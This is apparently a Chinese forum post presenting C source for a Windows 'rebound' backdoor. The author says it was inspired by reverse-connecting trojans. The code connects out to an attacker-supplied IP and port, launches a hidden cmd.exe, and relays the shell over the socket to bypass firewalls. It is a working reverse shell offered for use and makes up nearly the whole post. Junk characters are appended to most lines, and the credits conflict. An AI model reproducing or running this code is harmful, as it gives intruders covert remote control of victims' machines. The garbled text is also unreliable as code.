这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t41cl
$;;?'!%.
/* ============================== *qb`wg
Rebound port in Windows NT %q*U[vv
By wind,2006/7 u khI#:[
===============================*/ 1C$^S]v%a
#include 6xFZv
t
#include K.z}%a
e('c9 Y
#pragma comment(lib,"wsock32.lib") "4tRy9q
*h =7:*n
void OutputShell(); x(b&r g.-0
SOCKET sClient; RPiCXpJv&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~4`wfOvO
2%8N<GW.F
void main(int argc,char **argv) *Nt6 Ufq6
{ 4UL-j
WSADATA stWsaData; i2j)%Gc}
int nRet; n)K6Z{x
SOCKADDR_IN stSaiClient,stSaiServer; N{9<Tf *
6U/wFT!7$
if(argc != 3) a|7V{pp=M
{ +u=xBhZ
printf("Useage:\n\rRebound DestIP DestPort\n"); K5.C*|w
return; iuHG9 #n
} |\_O8=B%
7>ODaj
WSAStartup(MAKEWORD(2,2),&stWsaData); ;c>Yr?^
mtOrb9`m
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nlY ^
W;-Qze\D
stSaiClient.sin_family = AF_INET; u%h<5WNh<
stSaiClient.sin_port = htons(0); _+;x4K;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *Cb(4h-
S&=B &23T
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !X.N$0
{ GS{9MGl
printf("Bind Socket Failed!\n"); Ti)n(G9$
return; R*[ACpxr
} Zka;}UL&Q
g]ihwm~
stSaiServer.sin_family = AF_INET; =;{S>P!I(t
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z9sg6M@s
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m|7g{vHVV
NFSPw`f
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u51/B:+
{ h NoN=J
printf("Connect Error!"); ^Ue.9#9T&g
return; c"z%AzUV'
} 9/%|#b-z
OutputShell(); rb_G0/R
} ZE\t{s0
v[|iuOU
void OutputShell() 9]YmP8
{ cQ8:;-M
char szBuff[1024]; \ D[BRE+
SECURITY_ATTRIBUTES stSecurityAttributes; vB
Jva8;Q
OSVERSIONINFO stOsversionInfo; 16+@#d%#p
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @KpzxcEoO
STARTUPINFO stStartupInfo; l1:j/[B=
char *szShell; /.?\P#9)
PROCESS_INFORMATION stProcessInformation; 14&EdTG.
unsigned long lBytesRead; {0LdLRNZ
wd]Yjr#%Ii
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t!=S[
<7&b|f$CL
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L9kP8&&KK
stSecurityAttributes.lpSecurityDescriptor = 0; ~8X'p6
stSecurityAttributes.bInheritHandle = TRUE; LH_ 2oJ\
CeJ|z{F\
ZRHTvxf
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hB.dqv]^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j;y|Ys)I
Ya. $x~
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u<8Q[_E&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &qU[wn:1
stStartupInfo.wShowWindow = SW_HIDE; ~9c9@!RA2
stStartupInfo.hStdInput = hReadPipe; aj,ZM,Ad
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C[pDPx,#:G
Gt%kok
GetVersionEx(&stOsversionInfo); 5R Hs
Iu[EUi!"
switch(stOsversionInfo.dwPlatformId) f
LW>-O73
{ 6:!fyia
case 1: x -!FS h8q
szShell = "command.com"; S'O0'5U@
break; 1=X=jPwO C
default: G](K2=
szShell = "cmd.exe"; mOB\ `&h5
break; tWiV0PTI
} :1=?/8h
c5;ROnTm
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $>UzXhf}\
-Gpj^aBU
send(sClient,szMsg,77,0); }:mI6zsNj
while(1) %FU[j^
{ $!f$R`R^Q\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `R> O5Rv
if(lBytesRead) t5k&xV=~
#
{ =FbfV*K9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E;4a(o]{t
send(sClient,szBuff,lBytesRead,0); 7" [;M
} LZVO9e]
else x\DkS,O
{ US|vYd}u+
lBytesRead=recv(sClient,szBuff,1024,0); %)D7Dr
if(lBytesRead<=0) break; T42g4j/l~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); twtDyo(\
} ,fw[ J
} H1[aNwLr
zi
,Rk.
return; h[]N=X
}